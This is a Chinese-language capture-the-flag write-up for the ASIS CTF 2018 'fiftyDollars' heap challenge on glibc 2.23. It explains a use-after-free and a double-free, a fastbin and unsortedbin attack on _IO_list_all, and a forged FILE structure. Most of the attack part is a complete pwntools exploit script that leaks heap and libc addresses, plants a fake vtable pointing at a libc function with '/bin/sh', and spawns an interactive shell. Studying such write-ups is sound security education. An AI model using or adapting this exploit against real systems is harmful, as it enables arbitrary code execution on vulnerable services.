asisctf-2018-fiftyDollars-glibc2.23

point

use after free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall show(unsigned int a1, __int64 a2)
{
__int64 result; // rax

if ( a1 <= 9 )
{
result = heap[a1];
if ( result )
{
myputs(heap[a1], a2);
result = myputs("Done!\n", a2);
}
}
return result;
}

double free

1
2
3
4
5
6
7
8
9
10
11
__int64 __fastcall del(unsigned int a1, __int64 a2)
{
__int64 result; // rax

if ( a1 <= 9 )
{
free((void *)heap[a1]);
result = myputs("Done!\n", a2);
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall alloc(unsigned int a1, __int64 a2)
{
void *v2; // rsi

if ( a1 <= 9 )
{
heap[a1] = malloc(0x50uLL);
myputs("Content:", a2);
v2 = (void *)heap[a1];
read(0, v2, 0x50uLL);
myputs("Done!\n", v2);
}
}

再来看堆上分配chunk的结构。固定分配0x60的chunk大小,属于fastbin里面 的chunk,很明显这题我们需要用double_free来进行fastbin attack, 至于前面的use after free 有什么用当然,我们可以用过它来泄露heap的地址。double_free配合fastbin_attack,可以进行任意堆地址写。 __malloc_hook的内存分布附近至少需要0x70的chunk才行,在这里我们做不到覆盖。所以这题往IO方向走。

先想覆盖_IO_list_all,把它覆盖为堆上地址,第一想到用unsortedbin attack让它指向unsortedbin,但是这里都是fastbin里面的chunk,先想个办法把unsorted chunk 弄出来。通过前面的double_free实现堆上任意写,把其中一个0x60chunk变成unsorted chunk 的size,再free它,这个unsorted chunk的bk指针也是可控。再清空fastbin,malloc(0x50)就能触发unsortedbin attack。

接着递进想法,把IO_list_all放到unsortedbin上以后,下一步就是把他_chain指向我们可控的堆上,计算_chain的偏移 IO_list_all = main_arena+88 &(IO_list_all->_chain) = main+88 + 104 => unsortbin+0x68 => smallbin[0x60] 所以需要把我们伪造的fp 放到smallbins 0x60上,如何放到smallbin 上去呢?,先需要把相应的chunk的放到unsortedbin上去,所以我需要把0x60放在unsortedbin上去,但是这里有一个问题,malloc(0x50),那么这里的unsortedbin上的0x60chunk是没有办法往smallbin 0x60上放的。所以这里的IO_list_all ->_chain不可控。这里就是这道题需要学到的point 。

暂且看当0x60不可控的时候,_chain指向哪里呢? &(IO_list_all->_chain)=smallbin[0x60] => smallbin[0x60] -> unsortbin+0x68-0x18 -> smallbins[0x50] &(IO_list_all->_chain->_chain) = unsortbin+0x50 + 0x68 = smallbins[0xb0]

通过_chain遍历io单链表,又一次指向了smallbins 上的 0xb0大小的chunk , 这里我们就可以伪造出相应的unsorted chunk。

再来看一下遍历IO_list_all刷新缓冲区的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
FILE *fp;
...
for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
}

...

return result;
}

循环遍历_IO_list_all,也不会效验是不是合法的fp,仅判断需要不需要刷新缓冲区,所以我们不用担心每一个fp是否需要特殊化,仅仅关注_chain即可,最终让它指向我们伪造的fp上。伪造的fp需要满足需要刷新缓冲区的条件之外,还需要伪造vtable虚表中的_overflow处理函数。所以这道题意图已经很明显。

  1. 泄露heap_base_address
  2. 泄露libc_base_address
  3. double_free 下的fastbins attack 位置长度为0xb0的chunk,chunk上设置好fp的布局
  4. malloc 触发unsortedbin 遍历,fake_fp放到smallbins去。

再来看一下具体的布局。 图片

接着上exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *

r = process(["./fifty_dollars"])
#r = remote("178.62.40.102",6001)
def alloca(idx,content):
r.sendlineafter(":","1")
r.sendlineafter(":",str(idx))
r.sendafter(":",content)

def show(idx):
r.sendlineafter(":","2")
r.sendlineafter(":",str(idx))
def remove(idx):
r.sendlineafter(":","3")
r.sendlineafter(":",str(idx))

alloca(0,"\x00"*0x48+p64(0x60))
alloca(2,"\x00")
alloca(1,"\x00") #紧接的2个chunk不能动,保证fake fp结构完整性
alloca(1,"\x00")
alloca(1,"\x00")
alloca(3,"\x00")
alloca(4,"\x00")
alloca(5,"\x00")
alloca(6,"\x00") #申请布局

remove(1) #UAF读fastbin泄露heap地址
remove(0)
show(0)
heap = u64(r.recvn(6).ljust(8,'\x00'))-0x180
print hex(heap)

remove(1)
alloca(1,p64(heap+0x50)) #第一次double_free布局,把2释放到unsortedbin里面去。泄露libc的地址
alloca(1,"a")
alloca(1,"a")
alloca(1,"\x00"*0x8+p64(0x121))
remove(2)
show(2)
libc = u64(r.recvn(6).ljust(8,'\x00'))-0x3c4b78
print hex(libc)

io_list_all = libc+0x3c5520
remove(3)
remove(4)
remove(3)
alloca(0,p64(heap+0x50))
alloca(0,"\x00"*0x48+p64(0x61))
alloca(0,"a")
#alloca(0,"/bin/sh\x00"+p64(0xb1)+p64(0)+p64(io_list_all-0x10)+"\x00"*0x28+p64(0x61))
alloca(0,"/bin/sh\x00"+p64(0xb1)+p64(0)+p64(io_list_all-0x10)+p64(0)+p64(1)+"\x00"*0x18+p64(0x61))

# 布局fake_fp,fp首地址写入/bin/sh\x00,修改size为0xb0,修改bk指针为io_list_all-0x10
# 修改write_base 和write_ptr


#wide = heap+0x1e0
#vtable = heap+0x1e0+0x28
remove(3)
remove(4)
remove(3)
alloca(0,p64(heap+0xc0))
alloca(0,"a")
alloca(0,"a")
# alloca(0,"\x00"*0x30+p64(wide)+p64(0x61))
alloca(0,"\x00"*0x48+p64(0x61))
# double_free写size 构造假的fast_chunk为写mode 和 vtable

remove(3)
remove(4)
remove(3)
alloca(0,p64(heap+0x110))
alloca(0,"a")
#alloca(0,p64(0x1)+p64(0x2)+p64(0x3)+p64(0x0)*3+p64(libc+0x45390))
alloca(0,"a")
#alloca(0,"\x00"*0x10+p64(0x1)+"\x00"*0x10+p64(vtable)+p64(0x61))
alloca(0,p64(0)+p64(0)+p64(0)+p64(heap+0x1e0)) # 写mode 和 vtable的地址值

remove(3)
alloca(0,p64(0)+p64(libc+0x45390)) # fake vtable
input()
alloca(0,"") #触发unsortedbin 遍历
r.interactive()

注释的代码是第第二种绕if的构造方法即

1
2
3
(_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base)